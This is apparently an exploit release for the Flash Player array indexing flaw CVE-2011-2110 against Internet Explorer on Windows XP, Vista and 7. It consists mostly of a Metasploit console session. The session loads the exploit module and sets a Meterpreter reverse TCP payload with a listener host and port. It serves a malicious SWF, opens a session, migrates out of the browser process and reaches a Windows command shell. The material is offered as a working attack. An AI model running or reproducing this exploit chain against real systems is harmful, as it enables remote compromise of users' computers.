Adobe flashplayer array indexing exploit (CVE-2011-2110)

* Tested against IE6/IE7/IE8 under Windows XP/VISTA/7
* Bypasses ASLR/DEP using the indexing vulnerability as a info leak
* I have included the AS code for verification

```
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+
  


       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 845 exploits - 471 auxiliary - 142 post
+ -- --=[ 250 payloads - 27 encoders - 8 nops

[*] Processing test.rc for ERB directives.
resource (test.rc)> use exploit/windows/browser/adobe_flashplayer_arrayindexing
resource (test.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (test.rc)> set lhost 192.168.153.1
lhost => 192.168.153.1
resource (test.rc)> set lport 4444
lport => 4444
resource (test.rc)> set target 0
target => 0
resource (test.rc)> set URIPATH /test
URIPATH => /test
resource (test.rc)> exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.153.1:4444 
[*] Using URL: http://0.0.0.0:8080/test
[*]  Local IP: http://10.3.100.35:8080/test
[*] Server started.
msf  exploit(adobe_flashplayer_arrayindexing) > 
[*] 10.3.100.35      adobe_flashplayer_arrayindexing - Sending Adobe Flash Player AVM verification logic array indexing code execution HTML
[*] 10.3.100.35      adobe_flashplayer_arrayindexing - Sending malicious swf
[*] 10.3.100.35      adobe_flashplayer_arrayindexing - Sending payload
[*] Sending stage (752128 bytes) to 192.168.153.128
[*] Meterpreter session 1 opened (192.168.153.1:4444 -> 192.168.153.128:1545) at Wed Jun 20 12:08:42 +1000 2012
[*] Session ID 1 (192.168.153.1:4444 -> 192.168.153.128:1545) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2120)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2956
[+] Successfully migrated to process 

msf  exploit(adobe_flashplayer_arrayindexing) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1300 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Steve\Desktop>
```